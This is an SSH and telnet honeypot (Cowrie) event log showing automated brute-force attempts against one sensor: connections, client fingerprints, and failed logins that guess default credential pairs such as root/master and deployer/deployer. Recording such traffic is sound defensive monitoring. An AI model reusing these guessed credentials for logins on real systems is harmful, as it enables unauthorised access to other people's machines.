{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e7:a1:11:00:12:52:e6:c9:bc:13:52:07:66:53:ad:3a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMdnLSmWiPwjHo8ltesc5qfFZ6qhUuwcf0R5YyqHIXY6w1gvAIIYMnF8hxt6NB59Ek8WYmv18q+CVfmklFlb3W+ur1peGSuX2UQYVENT276rXLifZfGD33UzvXtgGulGacnlss0luIl5HOywJDoasz9ZJy61BZY/uHhevPW5NawTzbuvxXuguec+/+V3UuBQRIvNx8S+TEH/hboMic8euAN+nHj5kICUvP52wbQ/QqSkwa1oduNcW3RG9IZxoo+ha21NCnrPR9hDdhKqTBrVhyCKe5qaoc8VGjTwVfeBcj3JekGBuy3u/C3ij5X59ZPuLIjiNbMxxvpOKlrcrHfSip","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:00.436905Z","src_ip":"103.75.71.17","session":"d10d61d65c75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:00.550427Z","src_ip":"45.156.87.204","session":"f9f7565c04ec","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"47:73:cb:42:50:91:44:91:a0:af:fc:68:86:01:d7:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIqfl5QiM4BMS/5Jbr0jkOKXJQixtFs73tjYxZAmM9Ps3kWvGiH9H9frvBnX+1O37DmaUoyGTV4LXPU8lVpjsp69ne28rRHBHGqfnEyeGVQ+KouhhOp3PUCb5LraP1exIGyF2c1/sIsa+KYJ6QrxL+kqQ45t/OJwVilIIRd8X3lllEHloneL+jt4tOp3GjiobH7+hRQ6/OQT0F7rX7fD0N93YPPP5EDSJtCdesAz8zQJEYnXg+avqmEd5vTc+6uF5lMmtC8njgurcy9QHX4M9yZoJO4puCAueU/uajkGy64WQZs6Qp6jxnA88aC752GmwziaCyIacWnqGFdzkFilzD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 47:73:cb:42:50:91:44:91:a0:af:fc:68:86:01:d7:5b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:00.565902Z","src_ip":"103.75.71.17","session":"d10d61d65c75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"47:73:cb:42:50:91:44:91:a0:af:fc:68:86:01:d7:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIqfl5QiM4BMS/5Jbr0jkOKXJQixtFs73tjYxZAmM9Ps3kWvGiH9H9frvBnX+1O37DmaUoyGTV4LXPU8lVpjsp69ne28rRHBHGqfnEyeGVQ+KouhhOp3PUCb5LraP1exIGyF2c1/sIsa+KYJ6QrxL+kqQ45t/OJwVilIIRd8X3lllEHloneL+jt4tOp3GjiobH7+hRQ6/OQT0F7rX7fD0N93YPPP5EDSJtCdesAz8zQJEYnXg+avqmEd5vTc+6uF5lMmtC8njgurcy9QHX4M9yZoJO4puCAueU/uajkGy64WQZs6Qp6jxnA88aC752GmwziaCyIacWnqGFdzkFilzD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:00.570829Z","src_ip":"103.75.71.17","session":"d10d61d65c75","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"be:4f:a6:54:92:7a:8b:a3:48:d6:47:55:bd:7f:02:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFWVSd57HBFd2OPDgertdfUcBj3Mbdk5UVRoyKtkocc69h/S6ev2zQC7ogZDx62XQZNbzUcUSME7GLWo80ONP4YsPF85xvC3mO+2ozysiiOyN6lHdg/aaIG8AUq7v7DlSogJ/2w5qoQ5L08Hiw91HwbJPKbblCRFMmqe3WVu8YP0QGvdeORMLIyfqgIt/I2YwuL/DhwYHMD730c7ENStL9OkWlyZfz1eTPfx5wUJWpgWoK7DORsJXMDaSnvi1OeTHAm3g1zLknEXSZEqEfrGjhENE6fU00ddl95VrghnKg9ElD9pinnbXs/KcCGiEarvbHKo5o/+0gtTCvmojg1tAt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint be:4f:a6:54:92:7a:8b:a3:48:d6:47:55:bd:7f:02:1c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:00.698346Z","src_ip":"103.75.71.17","session":"d10d61d65c75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"be:4f:a6:54:92:7a:8b:a3:48:d6:47:55:bd:7f:02:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFWVSd57HBFd2OPDgertdfUcBj3Mbdk5UVRoyKtkocc69h/S6ev2zQC7ogZDx62XQZNbzUcUSME7GLWo80ONP4YsPF85xvC3mO+2ozysiiOyN6lHdg/aaIG8AUq7v7DlSogJ/2w5qoQ5L08Hiw91HwbJPKbblCRFMmqe3WVu8YP0QGvdeORMLIyfqgIt/I2YwuL/DhwYHMD730c7ENStL9OkWlyZfz1eTPfx5wUJWpgWoK7DORsJXMDaSnvi1OeTHAm3g1zLknEXSZEqEfrGjhENE6fU00ddl95VrghnKg9ElD9pinnbXs/KcCGiEarvbHKo5o/+0gtTCvmojg1tAt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:00.704002Z","src_ip":"103.75.71.17","session":"d10d61d65c75","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1c:80:5a:b8:a0:06:b6:22:d1:09:10:6c:c9:69:c2:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC5j+u9Rp7iRNxMk76t/mAqWFvxeMCqD3YD/iKWLpmndCu6eooe49vjyQv3xNH5P5RIogg9mneRk7A0C74behXrSvoZGBvjCX8siJld0BHwKX9yZb/yGNnfLo+ktxLPda5jP4ho0fJjsdDomJINKcJIsi8K0yggmrQeDi9nJKx8fupYgCzfxtnwu0LydTR2tAWjdpRJH6nWTzh2ImT/Tufw0/DTpf1sRlkuGLw2vkb8ipvZ7gYxOEeexNTpLv8oiQ6ozY+q0kA5nXe1IML2ERo2vitWhLbuXxs2k81lCDjBd48hbPSzQrq3vkkGYCAtH0SkgRIF9/tC3EsTenPyZicVb1fGSMHrNBrdS/0PTTtn5+E4ytAJRcDejhw3kRD+tOqLy8rua1hHV0g0ZvAtsHbFy+XOfKnM1nsvjv93MOxsmljFxOABEZFcXcuRBI49HUtaktRDbRq0vxn6E1Ykqn8kA5Zzpq2ESnrM0jU+AIaahG0VzGruf/Li2et1JyYoq3QkalRCeIkdr61a8+L1fM0zmS7t0EDy7WT8pxdfOw5qzo59UOFEvzRhUTo8X44k4fWiwOXRCXU77nSNDGfOdjMDrciBcrjq7ErQEUAxitw2ng23ZJGOOGfcja9hzDNuPi1/yxGeyqZM83A+T98SdqRW6krzkMGx+KPlxlgHTPhM4Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1c:80:5a:b8:a0:06:b6:22:d1:09:10:6c:c9:69:c2:70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:00.833285Z","src_ip":"103.75.71.17","session":"d10d61d65c75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1c:80:5a:b8:a0:06:b6:22:d1:09:10:6c:c9:69:c2:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC5j+u9Rp7iRNxMk76t/mAqWFvxeMCqD3YD/iKWLpmndCu6eooe49vjyQv3xNH5P5RIogg9mneRk7A0C74behXrSvoZGBvjCX8siJld0BHwKX9yZb/yGNnfLo+ktxLPda5jP4ho0fJjsdDomJINKcJIsi8K0yggmrQeDi9nJKx8fupYgCzfxtnwu0LydTR2tAWjdpRJH6nWTzh2ImT/Tufw0/DTpf1sRlkuGLw2vkb8ipvZ7gYxOEeexNTpLv8oiQ6ozY+q0kA5nXe1IML2ERo2vitWhLbuXxs2k81lCDjBd48hbPSzQrq3vkkGYCAtH0SkgRIF9/tC3EsTenPyZicVb1fGSMHrNBrdS/0PTTtn5+E4ytAJRcDejhw3kRD+tOqLy8rua1hHV0g0ZvAtsHbFy+XOfKnM1nsvjv93MOxsmljFxOABEZFcXcuRBI49HUtaktRDbRq0vxn6E1Ykqn8kA5Zzpq2ESnrM0jU+AIaahG0VzGruf/Li2et1JyYoq3QkalRCeIkdr61a8+L1fM0zmS7t0EDy7WT8pxdfOw5qzo59UOFEvzRhUTo8X44k4fWiwOXRCXU77nSNDGfOdjMDrciBcrjq7ErQEUAxitw2ng23ZJGOOGfcja9hzDNuPi1/yxGeyqZM83A+T98SdqRW6krzkMGx+KPlxlgHTPhM4Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:00.837758Z","src_ip":"103.75.71.17","session":"d10d61d65c75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:00.963485Z","src_ip":"103.75.71.17","session":"d10d61d65c75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:01.002915Z","src_ip":"94.26.106.229","session":"9fb6b5367958","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":53956,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ba783d27268","protocol":"ssh","message":"New connection: 94.26.106.229:53956 (159.203.135.109:22) [session: 6ba783d27268]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:02.023776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:02.028989Z","src_ip":"94.26.106.229","session":"6ba783d27268","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:02.114085Z","src_ip":"94.26.106.229","session":"6ba783d27268","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"12345678","message":"login attempt [claude/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:02.395184Z","src_ip":"94.26.106.229","session":"6ba783d27268","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":51246,"dst_ip":"159.203.135.109","dst_port":22,"session":"9059ea0c5a6a","protocol":"ssh","message":"New connection: 45.156.87.204:51246 (159.203.135.109:22) [session: 9059ea0c5a6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:02.975250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:02.986294Z","src_ip":"45.156.87.204","session":"9059ea0c5a6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:03.072750Z","src_ip":"45.156.87.204","session":"9059ea0c5a6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deployer","message":"login attempt [deployer/deployer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:03.333674Z","src_ip":"45.156.87.204","session":"9059ea0c5a6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:03.483625Z","src_ip":"94.26.106.229","session":"6ba783d27268","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":58004,"dst_ip":"159.203.135.109","dst_port":22,"session":"952ab0d1019a","protocol":"ssh","message":"New connection: 94.26.106.229:58004 (159.203.135.109:22) [session: 952ab0d1019a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:04.155495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:04.160634Z","src_ip":"94.26.106.229","session":"952ab0d1019a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:04.245068Z","src_ip":"94.26.106.229","session":"952ab0d1019a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.15916585922241,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:04.303941Z","src_ip":"152.42.224.71","session":"41f2be90835b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:04.420455Z","src_ip":"45.156.87.204","session":"9059ea0c5a6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloudera","password":"cloudera","message":"login attempt [cloudera/cloudera] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:04.937169Z","src_ip":"94.26.106.229","session":"952ab0d1019a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":19.027191638946533,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:05.486158Z","src_ip":"152.42.224.71","session":"e25c91bc9d84","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:06.023456Z","src_ip":"94.26.106.229","session":"952ab0d1019a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":87.44914746284485,"message":"Connection lost after 87 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:06.268696Z","src_ip":"152.42.224.71","session":"bf69fc5c71ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":51262,"dst_ip":"159.203.135.109","dst_port":22,"session":"9eb93b3ae6f0","protocol":"ssh","message":"New connection: 45.156.87.204:51262 (159.203.135.109:22) [session: 9eb93b3ae6f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:06.557130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:06.562567Z","src_ip":"45.156.87.204","session":"9eb93b3ae6f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":58018,"dst_ip":"159.203.135.109","dst_port":22,"session":"73ab38caac12","protocol":"ssh","message":"New connection: 94.26.106.229:58018 (159.203.135.109:22) [session: 73ab38caac12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:06.610245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:06.615588Z","src_ip":"94.26.106.229","session":"73ab38caac12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:06.645751Z","src_ip":"45.156.87.204","session":"9eb93b3ae6f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:06.708175Z","src_ip":"94.26.106.229","session":"73ab38caac12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amine","password":"amine","message":"login attempt [amine/amine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:06.908730Z","src_ip":"45.156.87.204","session":"9eb93b3ae6f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"master","message":"login attempt [root/master] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:06.992865Z","src_ip":"94.26.106.229","session":"73ab38caac12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:07.996504Z","src_ip":"45.156.87.204","session":"9eb93b3ae6f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:08.129629Z","src_ip":"94.26.106.229","session":"73ab38caac12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.739763021469116,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:08.968035Z","src_ip":"152.42.224.71","session":"9f5ded81c173","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":58026,"dst_ip":"159.203.135.109","dst_port":22,"session":"623fbefbd5e5","protocol":"ssh","message":"New connection: 94.26.106.229:58026 (159.203.135.109:22) [session: 623fbefbd5e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:09.175959Z"}
